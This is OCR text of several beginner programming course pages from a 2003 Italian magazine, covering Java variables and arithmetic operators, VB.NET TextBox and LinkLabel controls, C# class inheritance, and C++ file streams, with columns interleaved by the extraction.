sto del commento scrivi le istruzioni che Il compilatore incontra il nome x, ma non lo co-
scambiano i valori di x e y. nosce e non sa come interpretarlo. Quindi, stai
tranquillo: se dimentichi di dichiarare o di ini-
Questo esercizio comporta un dilemma. Se as- zializzare una variabile, il compilatore ti avvi-
segniamo direttamente ad una variabile il valo- serà subito.
re dell’altra, allora perdiamo il valore preceden- E ora un altro esercizio:
te. Ad esempio, se scriviamo:
class Variabili
x=y {
public static void main(String[] args) Convenzioni,
allora il precedente valore di x va perso. Come { convenzioni
facciamo a scambiare i due valori senza perder- int x; // prova a cancellare questa riga... La convenzione
Java per i nomi
li? Se non ti viene subito in mente come fare, x = 10; // e poi prova a cancellare questa
delle variabili è simile
pensaci un po’ su. La soluzione è alla fine di [Link]("La variabile x vale " + x); a quella per i nomi del-
questo articolo. } le classi, con un’ecce-
} zione: il nome inizia
con una lettera minu-
DUE GRADINI • Esercizio 5: Nel programma Variabili prova
scola. Le parole suc-
cessive alla prima han-
IN UN SOLO PASSO a cancellare (o a “commentar via” aggiun- no invece la lettera
Torniamo alla nascita delle variabili. Hai già im- gendo una doppia barra all’inizio) prima la maiuscola. Ad esem-
pio: x, contatore e
parato che per definire una nuova variabile dichiarazione, poi l’inizializzazione della sommaParziale sono
puoi scrivere un’istruzione simile a questa: variabile x. Quali messaggi di errore ti dà il buoni nomi di variabi-
compilatore nei due casi? le, mentre SommaPar-
int x = 10; ziale non lo è. Come al
solito si tratta solo di
una convenzione per
Questa istruzione dice tre cose, ma solo le pri- PROPRIO UN BEL TIPO rendere il codice più
me due sono inseparabili: leggibile, non di una
regola del linguaggio.
Visto che abbiamo parlato dell’operatore +, tan-
1) vogliamo una variabile di nome x, e allo to vale fare la conoscenza dei più importanti
stesso tempo vogliamo che questa variabile operatori aritmetici di Java. Ecco un program-
sia di tipo int; mino di esempio:
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 85
082-086 Java Bas 4-06-2003 11:02 Pagina 86
C o r s i B a s e G G G G G G G G G G G
Gli operatori sono ‘+’ (somma), ‘-’ (sottrazione), “tipi importanti”. Come dici?
‘*’ (moltiplicazione), ‘/’ (divisione) e % (modu- Ah, giusto… Ti avevo promesso la soluzione
lo). I simboli non sono gli stessi dell’aritmetica, dell’Esercizio 4. Il modo più semplice per scam-
ma i loro significati sì. E’ possibile che l’opera- biare i valori di x e y è quello di usare una terza
tore di “modulo” non ti sia familiare. Il modulo variabile per conservare temporaneamente il
Java
è il resto della divisione intera. Torna con la valore che non vuoi perdere:
mente alle scuole elementari. Hai presente
quando dicevi ad esempio che 13 diviso 2 fa 5 class Swap
col resto di 3? Ecco, il modulo è proprio il valo- {
re di quel “resto”. public static void main(String[] args)
Ad esempio: 44 % 3 è uguale a 2 (“44 gatti divi- {
so per 3 col resto di 2”). L’operatore modulo è int x = 10;
molto più utile di quello che si potrebbe pensa- int y = 20;
re. Se provi a far girare questo programma ot-
tieni: // facciamo lo swap!
int temp = x;
9 x = y;
5 y = temp;
14 // fine dello swap
3
1 [Link]("La variabile x vale " + x);
[Link]("La variabile y vale " + y);
Tutti i valori sono come ce li aspettavamo, tran- }
ne forse il risultato della divisione. Probabil- }
mente pensavi che dividendo 7 per due avrem-
mo ottenuto 3.5. Ho aggiunto anche qualche commento e un
Dov’è finita la parte decimale del risultato? paio di a-capo per rendere più chiaro il codice.
Resta dove sei La soluzione del mistero sta nel fatto che sia x Troverai questo programmino sul CD, insieme
Esiste anche un
che y sono variabili intere. Per Java la divisione al resto del codice di questo mese.
metodo simile a
[Link](), tra due interi è appunto una divisione intera, Al mese prossimo, dunque, quando approfon-
che però non va a capo cioè una divisione nella quale il risultato deve diremo un po’ questa faccenda dei tipi e degli
dopo aver stampato. Si essere intero. Quindi il sistema costringe il ri- operatori.
chiama [Link].
sultato a “diventare intero”, tagliando via senza Paolo Perrotta
print().
A proposito, non ti stu- tanti complimenti la parte decimale. Non la ar-
pire se l’istruzione per rotonda, la butta proprio via! Il risultato di 19
stampare ha un nome
Con e senza gli oggetti
(intero) diviso 10 (intero) è 1, non 2.
così lungo. Quando sa- Java è un linguaggio di programmazione
Se vuoi una divisione decimale, allora almeno
rai un po’ più esperto “orientato agli oggetti”. Cosa significa?
potrai facilmente scri- una delle due variabili deve avere un tipo deci- I linguaggi di programmazione più vecchiotti,
verti una procedura di male, come ad esempio double (decimale a dop- come il BASIC o il C, usavano il cosiddetto pa-
stampa con un nome pia precisione). radigma procedurale. Secondo questa filoso-
più breve. fia, un programma è un insieme di funzioni
che manipolano un insieme di dati. Questo
• Esercizio 6: Prova a cambiare le dichiarazio- modo di ragionare diventa inadeguato quando
ni delle due variabili: usa il tipo double (de- i programmi diventano troppo grandi e com-
cimale a doppia precisione) anziché int. Co- plessi. Per questo motivo alla fine degli anni
’80 cominciarono a diffondersi i linguaggi
sa cambia nei risultati del programma Ope-
object-oriented, che concepivano il software
ratori? come un insieme di oggetti che si scambiano
messaggi.
Come vedi, il tipo delle variabili è una caratte- Se non hai mai programmato prima d’ora, non
preoccuparti della differenza tra paradigma
ristica assolutamente essenziale. Vedrai che ne
procedurale e paradigma a oggetti. Imparerai
riparleremo spesso. Quanti tipi esistono nel lin- direttamente a programmare con gli oggetti,
guaggio Java? In un certo senso, infiniti. In Java, che sembrano molto più “naturali” ai princi-
come in tutti i linguaggi “orientati agli oggetti” pianti che agli esperti di programmazione
procedurale. Se invece hai esperienza di lin-
(vedi box), puoi creare da te i tuoi tipi. Ma per guaggi di script o di linguaggi procedurali, al-
ora ci interessano solo alcuni tipi particolar- lora dovrai fare un po’ di fatica in più per cam-
mente importanti che il linguaggio ci mette a biare il tuo modo di ragionare. Ma non preoc-
disposizione. Abbiamo già incontrato int (per cuparti: ci siamo passati quasi tutti. In questo
corso cercheremo di introdurre la program-
gli interi) e double (per i decimali). È quasi giun- mazione a oggetti nel modo più indolore pos-
to il momento di darci appuntamento all’artico- sibile.
lo del mese venturo, quando incontreremo altri
86 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
087-091 VB net 4-06-2003 17:28 Pagina 87
E E E E E E E E E E E E E C o r s i B a s e
.NET
Windows Forms
I controlli standard Windows Forms sono i controlli
presenti nella casella degli strumenti (Toolbox) quando
si avvia un progetto [Link]. In questo primo articolo
ci occuperemo della loro descrizione.
• Anchor: indica se il controllo verrà ancorato • Size: imposta (o ricava) l'altezza e la lar-
alla form selezionando il bordo del contenito- ghezza del controllo espressa in pixel. Corri-
re dal quale il controllo mantiene una distan- sponde alle proprietà Width e Height delle
za fissa. Un controllo può essere ancorato ad versioni precedenti di VB.
uno o più bordi del contenitore padre, il valo-
re predefinito è Top, Left (in alto a sinistra). In ASPETTO
pratica, l'oggetto non viene adattato alle
dimensioni della finestra, ma resta fisso nella • BackColor: ottiene o imposta il colore di
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 87
087-091 VB net 31-05-2003 10:23 Pagina 88
C o r s i B a s e G G G G G G G G G G G G G
88 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
087-091 VB net 31-05-2003 10:24 Pagina 89
E E E E E E E E E E E E E C o r s i B a s e
cliccare con il pulsante sinistro del mouse; • Forecolor; per impostare il colore del testo
contenuto nel Textbox.
• Tenere premuto il pulsante sinistro del
mouse, disegnare il controllo e rilasciare il Cliccando nella finestra delle proprietà su
mouse. Backcolor e Forecolor sarà visualizzata una tavo-
lozza di colori da cui scegliere il colore deside-
Visual Basic
.NET
rato. Prestate attenzione a non abusare dei colo-
ri e cercate di utilizzare un colore diverso da
quelli standard, soltanto se siete “costretti”.
ALLINEAMENTO E TIPO
DI CARATTERE DEL TESTO
Per modificare le modalità di visualizzazione
Fig. 1: Un form con controlli TextBox. del testo contenuto nel TextBox si possono usare
le proprietà:
Per default VB visualizza nei Textbox il nome • TextAlign; per stabilire il tipo d’allineamen-
del Textbox stesso, perciò nel primo Textbox to del testo, i valori selezionabili sono:
sarà visualizzato il testo “TextBox1”, per modifi-
carne il contenuto è sufficiente utilizzare la pro- 1) Left: allineamento a sinistra;
prietà Text. La proprietà Text può contenere
qualsiasi serie di caratteri, compresa la stringa 2) Right: allineamento a destra;
vuota. Per modificare la proprietà Text si può:
visualizzare la finestra delle proprietà del 3) Center: testo centrato.
TextBox, cliccare nel campo a destra dell’etichet-
ta Text e digitare il testo voluto, oppure si può • Font; per modificare il tipo di carattere, il
Text
modificare il testo da programma con la sempli- valore di default è Microsoft Sans Serif. Clic- La proprietà
ce istruzione: cando nella finestra delle proprietà viene vi- Text può conte-
sualizzata una finestra di dialogo standard, nere qualsiasi serie
di caratteri, compre-
[Link] = "PrimoTesto" quest’ultima permette di selezionare: il tipo
sa la stringa vuota.
di carattere tra quelli installati sul vostro Per modificare la
A questo punto possiamo sbizzarrirci nel modi- computer, la dimensione del carattere, lo sti- proprietà Text si può:
ficare graficamente l’aspetto esterno ed interno le (grassetto, corsivo, ecc.) e gli effetti (bar- visualizzare la fine-
stra delle proprietà
del controllo. Descriveremo rapidamente le pro- rato, sottolineato).
del TextBox, cliccare
prietà necessarie lasciandovi il compito di pro- nel campo a destra
varle a vostro piacere. Se impostate la proprietà Autosize a True, le di- dell’etichetta Text e
mensioni del TextBox si adatteranno a quelle digitare il testo volu-
to, oppure si può
del font selezionato. modificare il testo da
ASPETTO DEL TEXTBOX programma con la
Per modificare l’aspetto esterno del TextBox si semplice istruzione:
possono usare le proprietà: TEXTBOX MULTIRIGA
E LIMITAZIONE DELLA [Link] =
"PrimoTesto"
• BorderStyle; che permette di impostare il LUNGHEZZA DEL TESTO
tipo di bordo del controllo. Può assumere i Per default, una casella di testo non permette di
seguenti valori: andare a capo, ma il testo viene visualizzato su
un'unica riga che scorre verso sinistra nel
1) Fixed3D: (valore di default) permette di momento in cui viene raggiunto il margine del
disegnare il Textbox con il bordo tridi- controllo. Per creare un Textbox che assomigli
mensionale; ad una classica finestra di elaborazione testi, è
sufficiente impostare la proprietà MultiLine a
2) FixedSingle: permette di disegnare il True, la proprietà ScrollBars a Both e la proprietà
Textbox con il bordo a riga singola; WordWrap a False. In questo modo il controllo
sarà dotato di barre di scorrimento orizzontali
3) None: non disegna nessun bordo attorno e verticali, che permettono di scorrere il Text-
al Textbox. Box, in modo da visualizzare un testo più lungo
rispetto alle dimensioni del controllo. In [Link]
• Backcolor; per impostare il colore di sfondo è presente la proprietà WordWrap che indica se
della casella di testo; mandare automaticamente a capo le parole all'i-
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 89
087-091 VB net 31-05-2003 10:25 Pagina 90
C o r s i B a s e G G G G G G G G G G G G G
nizio della riga successiva quando si raggiunge testo contenuto nel controllo. In [Link] il con-
il limite. Ponendo la proprietà ScrollBars a Ver- trollo Label è in grado di mostrare un’immagine
tical sarà visualizzata soltanto la barra verticale, utilizzando la nuova proprietà Image, è suffi-
in questo modo il testo digitato viene mandato ciente cliccare sulla proprietà e selezionare
automaticamente a capo nel momento in cui un’immagine dalla finestra di dialogo. Per con-
diventa più lungo del controllo. trollare la posizione dell’immagine all’interno
Visual Basic dell’etichetta si può usare la proprietà Image-
90 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
087-091 VB net 31-05-2003 10:26 Pagina 91
E E E E E E E E E E E E E C o r s i B a s e
.NET
non deve essere modificato dall’utente. In
genere è utilizzato per etichettare i controlli.
• LINKLABEL (non era presente in VB6) Consen-
te di inserire un collegamento ipertestuale in
una Windows Form. Funziona esattamente co-
me un normale collegamento ipertestuale (ti-
pico del web) verso altre parti dell'applicazio-
ne o URL in Internet.
• BUTTON (sostituisce il controllo Button in
VB6) è il controllo a forma di pulsante cui
spesso si associa del codice nell’evento Click.
• TEXTBOX è sicuramente il controllo più usato
poiché consente all’utente di fornire l’input
all’applicazione. Contiene una stringa di carat-
teri che l’utente può immettere o modificare.
• CHECKBOX Si utilizza per dare all’utente la Proprietà
possibilità di una scelta del tipo si/no oppure
LinkLabel
vero/falso.
Il controllo Link-
• RADIOBUTTON (sostituisce il controllo Option- Label: presenta
Button in VB6) è spesso utilizzato in gruppo diverse proprietà che
con altri RadioButton. A differenza del Check- consentono di definire
Box, sarà possibile selezionare soltanto un Ra- l'aspetto che il colle-
dioButton per volta. gamento ipertestuale
• GROUPBOX (sostituisce il controllo Frame in deve assumere duran-
VB6) viene usato, solitamente, come conteni- te la visualizzazione:
tore di altri controlli.
• PICTUREBOX viene usato per visualizzare • ACTIVELINKCOLOR:
Fig. 3: La casella degli strumenti. immagini. determina il colore
• LISTBOX contiene una serie di valori selezio- che assume il collega-
nabili dall’utente. mento quando l’uten-
• COMBOBOX in pratica è una combinazione del te clicca su di esso;
TextBox e del ListBox, infatti, cliccando sulla
prietà LinkData della classe LinkLabel. Il codice freccia rivolta verso il basso appare la lista dei • DISABLEDLINKCO-
seguente testa la proprietà LinkData in un’istru- valori selezionabili. LOR: determina il co-
zione Select Case…End Select e visualizza un lore che assume il col-
legamento quando
messaggio diverso in relazione al link selezio- non è attivo;
nato: • DisabledLinkColor: determina il colore che
assume il collegamento quando non è attivo; • LINKCOLOR deter-
Private Sub LinkLabel1_LinkClicked(ByVal sender As mina il colore predefi-
nito del collegamento;
[Link], ByVal e As • LinkColor determina il colore predefinito
[Link]) del collegamento; • VISITEDLINKCO-
Handles [Link] LOR: determina il co-
lore che assume il col-
Select Case [Link] • VisitedLinkColor: determina il colore che
legamento nello stato
Case "Corsi" assume il collegamento nello stato di “visita- di “visitato”.
[Link]("hai selezionato il Link Corsi ") to”. Quest’effetto si ottiene impostando la Quest’effetto si ottie-
Case "ioProgrammo" proprietà LinkVisited a True; ne impostando la pro-
prietà LinkVisited a
[Link]("hai selezionato il Link
True;
ioProgrammo ") • LinkBehavoir determina la modalità di vi-
End Select sualizzazione della sottolineatura. • LINKBEHAVOIR de-
End Sub termina la modalità di
visualizzazione della
sottolineatura.
Il controllo LinkLabel: presenta diverse proprietà CONCLUSIONI
che consentono di definire l'aspetto che il colle- In questo articolo ci siamo occupati dei control-
gamento ipertestuale deve assumere durante la li che consentono l’interazione con l’utente per
visualizzazione: quanto concerne l’immissione e la visualizza-
zione di informazioni. Nei prossimi appunta-
• ActiveLinkColor: determina il colore che menti continueremo il viaggio all’interno dei
assume il collegamento quando l’utente clic- controlli di [Link].
ca su di esso; Ing. Luigi Buono
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 91
092-095 C# 4-06-2003 11:02 Pagina 92
C o r s i B a s e G G G G G G G G G G G
C# La gerarchia delle
classi e degli oggetti
La programmazione orientata agli oggetti riconosce
tre principi di base: l'incapsulazione, il polimorfismo
e l'ereditarietà. Con questa lezione cominceremo l'analisi
dell'ereditarietà in C#, scoprendo come sia possibile
allacciare relazioni di tipo gerarchico tra due o più classi.
File sul CD
L’
ereditarietà è tra i concetti più impor- public string getCognome()
\soft\codice\[Link] tanti della programmazione orientata {
agli oggetti. return cognome;
Attraverso l'ereditarietà, è possibile raggrup- }
File sul Web pare le classi e gli oggetti secondo un'organiz-
[Link]
/ioprog71/[Link] zazione di tipo gerarchico. Questo approccio, }
come scopriremo tra poco, facilita la stesura
delle applicazioni, deponendo a favore della Persona non presenta alcuna caratteristica pe-
riusabilità del codice. culiare. Possiede giusto quattro metodi, utili
per impostare e recuperare i campi nome e co-
gnome.
PRIMO APPROCCIO Nella rappresentazione usata, queste due pro-
ALL'EREDITARIETA' prietà realizzano l'astrazione di un qualsiasi
Avviciniamoci all'ereditarietà mediante un pri- essere umano. Ovviamente, la rappresentazio-
mo esempio pratico. Partiamo dalla definizio- ne è volutamente generica.
ne della semplice classe Persona: Prendiamo ora in esame la classe Studente, che
Ereditarietà eredita da Persona:
L’ereditarietà è tra
i concetti più im- class Persona
portanti della program- { class Studente : Persona
mazione orientata agli public string nome; {
oggetti.
public string cognome; public string matricola;
Attraverso l'ereditarie-
tà, è possibile raggrup-
pare le classi e gli og- public void setNome(string nome) public void setMatricola(string matricola)
getti secondo un'orga- { {
nizzazione di tipo ge-
[Link] = nome; [Link] = matricola;
rarchico.
} }
92 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
092-095 C# 31-05-2003 10:39 Pagina 93
E E E E E E E E E E E C o r s i B a s e
C#
[Link]("Mario"); [Link]("Mario");
[Link]("Rossi"); [Link]("Rossi");
[Link]("09204167"); [Link]("09204167");
[Link]("Nome: " [Link]("Nome: " +
+ [Link]()); [Link]());
[Link]("Cognome: " + [Link]("Cognome: " +
[Link]()); [Link]());
[Link]("Matricola: " + [Link]("Matricola: " +
[Link]()); [Link]());
} [Link]("ToString(): " +
} [Link]());
}
L'output prodotto é:
}
Nome: Mario
Cognome: Rossi Prima della chiusura del metodo Main(), è stata
Matricola: 09204167 aggiunta una nuova istruzione:
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 93
092-095 C# 31-05-2003 10:39 Pagina 94
C o r s i B a s e G G G G G G G G G G G
object }
C#
|
+- Persona Il risultato prodotto è facilmente intuibile:
|
+- Studente Nome: Mario
Cognome: Rossi
Studente estende Persona, che a sua volta esten- Matricola: 09204167
de Object. Il mistero è ora un po' meno fitto: To- Ingegneria Informatica
String() è un metodo definito da object. Persona
lo ha ereditato da object, e Studente l'ha eredita- La gerarchia implementata è così rappresenta-
to da Persona. Grazie alla gerarchia messa in at- bile:
to, il metodo ToString() è arrivato da object a
Studente. Sulle caratteristiche della classe object object
torneremo più avanti. |
Nulla impedisce di derivare ulteriormente una +- Persona
sottoclasse, facendola divenire superclasse di |
un nuovo elemento. In questo modo è possibile +- Studente
realizzare gerarchie a più livelli. |
Ad esempio, riprendiamo la classe Studente, +- StudenteIngegneria
estendendola nella seguente StudenteIngegne-
ria: Un oggetto di tipo StudenteIngegneria ha:
94 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
092-095 C# 31-05-2003 10:39 Pagina 95
E E E E E E E E E E E C o r s i B a s e
object object }
C#
| |
+- Persona Cittadino -+ Torniamo ora alla classe Studente, che estende
| | Persona:
+- Studente -+
class Studente : Persona
Non è lecito che Studente possa contemporanea- {
mente derivare sia da Persona sia da Cittadino. public string matricola;
In C#, l'ereditarietà multipla non è ammessa.
La nota si rivolge, in particolar modo, ai pro- public void setMatricola(string matricola)
grammatori provenienti dall'ambito di C++, in {
cui è possibile far ricorso all'ereditarietà multi- [Link] = matricola;
pla. }
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 95
096-099 C++ 4-06-2003 17:23 Pagina 96
C o r s i B a s e G G G G G G G G G G G G G
✓ Accesso ai file
❏
File sul CD
N
ella puntata precedente abbiamo spiegato cammino). Nonostante questa differenza, però, i
\soft\codice\[Link] come in C++ sia difficile trovare concetti due punti di vista hanno un tratto comune: un file
come "periferica di stampa" o "schermo" può vedersi come sorgente o destinazione di dati,
(tranne nel caso particolare di programmazione pro- così come sono sorgenti o destinazioni di dati una
cedurale in stile "C-like"), questi concetti sono rap- stampante, uno schermo, una tastiera. È proprio
presentati indirettamente da oggetti di un tipo par- questa omogeneità di "utilizzo" che permette di trat-
File sul WEB
[Link] ticolare: gli stream (flussi). Gli stream sono struttura- tare i file usando gli stream. Infatti per l'utilizzo dei
/iopr71/[Link] ti in maniera più adatta alla programmazione ad og- file il C++ mette a disposizione alcune classi molto
getti, il loro utilizzo è trasparente e in linea con l'u- utili, il cui scopo è quello di fornire una interfaccia
tilizzo di qualunque altra classe C++. In particolare, che sia adeguata alla loro manipolazione e omoge-
l'overload dell'operatore di inserimento (<<) in una nea con la filosofia di utilizzo del linguaggio stesso.
classe, ha senso proprio per come è strutturato il Fin'ora, usando gli oggetti cin, cout e cerr (che, come
flusso di I/O in C++. Parlando di file, la situazione detto nella scorsa puntata, sono degli oggetti in sen-
non cambia: usando i flussi, potremo compiere le so stretto, in quanto variabili istanze delle classi
medesime operazioni che eseguiamo solitamente istream ed ostream), abbiamo fatto una ipotesi impli-
con l'I/O standard (cout & cin), usando una sintassi cita: ci andavano bene per l'input e l'output (buffe-
molto simile. Vediamo come. rizzato e non) gli stream da e verso le periferiche
standard del nostro elaboratore. Per nostra fortuna
tali stream standard sono automaticamente definiti
COSA È UN FILE? nel momento in cui includiamo la libreria iostream.h,
Un file è, dal punto di vista del sistema operativo, e sono rappresentati, appunto, dagli oggetti cin, cout
un blocco di byte correlati, registrati nella memoria e cerr. Nel nostro caso però, per avere degli stream
secondaria (i dischi rigidi, ad esempio), cui è asse- da o verso dei file specifici, avremo bisogno di poter
gnato un identificatore univoco. definire adeguatamente e su misura degli stream.
Dal punto di vista dell'utente, un file è un insieme di Dovremo cioè poter specificare che tipo di stream si
informazioni correlate che ha un nome con cui può sta creando (ad esempio, di trasmissione o ricezione
essere richiamato: per l'utente, non esiste modo di di dati), sorgente (o destinazione) dello stream, ma
archiviare dati se non all'interno di file. anche alcuni parametri che sono il riflesso delle pro-
Dovrebbe già essere evidente la differenza di inter- prietà che un file può avere in un filesystem (file di
pretazione del significato di un file: ad esempio, per sola lettura, nascosti, protetti ecc.). La classe che in
noi un file potrebbe essere un file di testo che con- C++ si occupa di fornirci stream da e verso file è la
tiene (secondo regole di formattazione scelte da noi) classe fstream (file stream).
i dati della nostra rubrica telefonica, mentre per un Essa ha, analogamente alla classe ios, due classi de-
programma un file è una porzione di memoria, un rivate, che ne rappresentano una specializzazione, e
insieme di byte quindi, non necessariamente conti- che sono:
gua (ad esempio potrebbe essere organizzata secon-
do un meccanismo analogo a quello delle liste colle- • ifstream (input file stream): è la classe che si
gate, che abbiamo già incontrato lungo il nostro occupa di creare uno stream di input da un file;
96 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
096-099 C++ 4-06-2003 11:03 Pagina 97
E E E E E E E E E E E E E C o r s i B a s e
• ofstream (output file stream): è la classe com- file e, ad esempio, la stampa a schermo tramite l'i-
plementare della precedente, in quanto si occu- struzione:
pa di creare uno stream di output verso un file.
cout << "pippo\n";
La differenza tra questi tipi di stream è che con if-
C++
stream si accede ad un file in modalità di lettura (lo e questo è indubbiamente un bel vantaggio per il
si considera cioè come una sorgente di dati), con of- programmatore. Come controprova si può tentare
stream si accede ad un file in modalità di scrittura di aprire il nuovo file creato con un normale editor
(una destinazione per i dati), mentre con fstream non di testo e verificare il suo effettivo contenuto. Per
c'è alcuna specializzazione relativamente ad input quanto riguarda la seconda modalità di accesso a fi-
ed output. L'uso di un tipo al posto di un altro di- le tramite stream, utilizzando la funzione open(), la
penderà dal contesto di utilizzo dei file. Per poter situazione si presenta più o meno come la seguente:
utilizzare le classi fstream, ifstream e ofstream bisogna
includere il file header <fstream.h>. //creo l'oggetto stream
fstream pluto;
//lo apro
USO DI FSTREAM, [Link]("[Link]",ios::out);
IFSTREAM, OFSTREAM //ci scrivo sopra
Le operazioni più comuni che vengono compiute pluto << "pluto\n";
sui file (creazione e cancellazione a parte) sono gli
accessi in lettura e gli accessi in scrittura. La firma della funzione open() qui utilizzata è la se-
Per avere degli opportuni stream verso file, ci sono guente:
due strade percorribili:
void fstream::open(const char* filename, openmode mode);
• si crea un oggetto stream usando un costruttore
specifico che richiede come argomento il nome Le modalità secondo le quali un file può essere Stream
Con ifstream si
del file; aperto sono specificate dal parametro mode. Tale pa- accede ad un file
rametro è di un tipo enumerato, definito all'interno in modalità di lettura
• si crea un oggetto stream usando il costruttore della classe ios, chiamato openmode; alcuni suoi valo- (lo si considera cioè co-
senza argomenti, quindi si fa uso della funzione ri tipici sono: me una sorgente di da-
ti), con ofstream si ac-
di classe open(), che si occupa di aprire uno cede ad un file in mo-
stream prendendo come argomenti il nome del • ios::in: apertura in input; dalità di scrittura (una
file e le opzioni di apertura. destinazione per i da-
ti), mentre con fstream
• ios::out: apertura in output (si considera il file
non c'è alcuna specia-
La prima delle due alternative è di solito preferibile come fosse vuoto, a meno che non si specifichi- lizzazione relativamen-
quando le operazioni di apertura siano "saltuarie" no altre proprietà); te ad input ed output.
(di solito quando vengono eseguite una sola volta,
all'inizio), mentre la seconda è utile qualora gli ac- • ios::app: apertura in modalità "append" (cioè, si
cessi previsti ai file siano ripetuti, magari in tempi aggiungono i nuovi dati a partire dalla fine del
diversi: infatti così facendo si evita di reistanziare file).
per ogni operazione il relativo oggetto stream.
Un esempio di utilizzo del primo modo è il se- • ios::nocreate: non crea il file che sta aprendo
guente: (cioè la richiesta fallisce se il file non è già esi-
stente)
//creo l'oggetto stream e lo apro
ofstream pippo("[Link]"); • ios::noreplace: non rimpiazza il file che sta
aprendo (è il contrario della precedente: la ri-
//scrivo sul file chiesta fallisce se il file è già esistente)
pippo << "pippo\n";
(per una lista completa, conviene considerare una
Abbiamo istanziato un oggetto ofstream (e quindi un reference). Essendo tali parametri definiti nell'ambi-
file di scrittura) e contestualmente all'istanziazione to della classe ios, è necessario specificare il relativo
dell'oggetto pippo abbiamo "aperto" il relativo namespace (spazio dei nomi).
stream. Questo ci consente di potere usare lo stream Un modo per fare questo è anteporre il nome della
in questione immediatamente. Infatti l'istruzione classe in questione (ios) seguito dall'operatore di
successiva è una istruzione di inserimento effettua- scope resolution "::". Da notare che tali parametri, se
ta tramite l'operatore "<<". Da notare che, come ac- compatibili, possono anche essere specificati in
cennato in precedenza, non esiste alcuna distinzio- gruppo (cioè in due o più insieme), tramite l'opera-
ne concettuale tra l'istruzione di inserimento in un tore "|" di OR binario. Ad esempio:
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 97
096-099 C++ 4-06-2003 11:04 Pagina 98
C o r s i B a s e G G G G G G G G G G G G G
indica al programma di aprire un file in scrittura ini- • si sta tentando di salvare un file su una periferi-
ziando a scrivere i nuovi dati dalla fine dei dati già ca dove lo spazio è esaurito.
C++
presenti nel file (non c'è quindi perdita di dati pree-
sistenti). Per le classi ifstream ed ofstream, la open() Insomma i motivi per cui l'operazione di apertura di
ha praticamente la stessa firma, l'unica differenza è uno stream può non andare per il verso giusto sono
che il parametro mode è opportunamente inizializ- innumerevoli. Per questo è necessario porre un con-
zato (ad in per la classe ifstream, e a out per la classe trollo su quello che avviene immediatamente dopo
ofstream) nella definizione della funzione, in questo l'istruzione che richiede il servizio desiderato al si-
modo è possibile non specificarlo ed usare la open() stema operativo.
ad un solo parametro, in modo più intuitivo, come Tale verifica è molto semplice, e può essere compiu-
visibile nel seguente esempio: ta in due modi:
98 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
096-099 C++ 4-06-2003 11:04 Pagina 99
E E E E E E E E E E E E E C o r s i B a s e
C++
return 0;
//controllo la corretta apertura }
if (!topolino) //copio sorgente su destinazione: uso eof()
cerr << "Errore nell'apertura di [Link]\n"; int fine = [Link]();
else { while (!fine) {
//stream aperto correttamente: lo utilizzo char c;
topolino << "Ciao! Io sono Topolino!\n"; [Link](c);
if (![Link]())
//chiudo lo stream [Link](c);
[Link](); else
} fine = [Link]();
}
L'esempio appena mostrato non ha una struttura //chiudo gli stream
del tutto casuale. Anzi, esso segue esattamente ciò [Link]();
che dovrebbe essere la scaletta-tipo per l'apertura e [Link]();
il corretto utilizzo di qualunque tipo di file. return 1;
Tale struttura si può riassumere così: }
1. creazione del flusso come si può vedere il programma non fa altro che
leggere un byte per volta dal file sorgente (me-
2. apertura del flusso (tramite open()) diante una variabile di tipo char) e scriverlo sul file
destinazione.
3. controllo del flusso (tramite operatore NOT) Per fare questo si utilizzano le funzioni get() e put()
Contatta
che trattano i byte in maniera raw (grezza); utiliz-
gli autori!
4. chiusura del flusso (appena possibile, tramite la zare i normali operatori di inserimento ed estrazio- Se hai suggerimenti,
close()) ne (>> e <<) significherebbe perdersi tutti i caratte- critiche, dubbi o per-
ri che non sono considerati da questi operatori (ad plessità sugli argo-
menti trattati e vuoi
dove ovviamente i passi 1 e 2 possono essere ese- esempio quelli non alfanumerici, oppure lo spa- proporle agli autori
guiti contemporaneamente, nel modo che abbiamo zio). Questo ciclo di elaborazione si interrompe puoi scrivere agli indi-
visto in precedenza. quando si arriva alla fine del file sorgente; questa rizzi:
Un’ultima cosa che può risultare utile riguardo l'u- condizione è verificata appunto con la funzione
[Link]@[Link]
tilizzo dei file è la funzione eof() (end of file = fine del eof(). e
file) che è molto spesso utilizzata all'interno dei cicli marcodelgobbo@[Link]
per determinare la condizione di uscita. Illustriamo
il suo utilizzo all'interno di quest'ultimo esempio CONCLUSIONI Questo contribuirà si-
curamente a migliora-
che riporta un programmino completo, molto sem- In questa lezione abbiamo dato una veloce panora- re il lavoro di stesura
plice, che effettua la copia di un file: mica sugli aspetti riguardanti l'utilizzo di file tra- delle prossime punta-
mite le caratteristiche standard del C++. Tali carat- te.
#include <iostream.h> teristiche permettono di scrivere codice altamente
#include <fstream.h> orientato agli oggetti e, soprattutto, portabile da
una piattaforma all'altra.
int main(int argc, char* argv[]) { Ogni sistema operativo ha infatti le sue API (Appli-
//controllo del numero di argomenti cation Programming Interface) e queste, nella quasi
if (argc != 3) { totalità dei casi, permettono anche l'utilizzo di fun-
cerr << "Utilizzo: " << argv[0] << " <sorgente> zioni specifiche per l'accesso ai file. Queste funzio-
<destinazione>\n"; ni tuttavia sono specifiche del sistema operativo
return 0; stesso, quindi un eventuale porting del codice ri-
} chiederebbe la riscrittura della parte relativa all'ac-
cesso ai file, cosa che potrebbe rivelarsi non del tut-
//apro il file sorgente to banale.
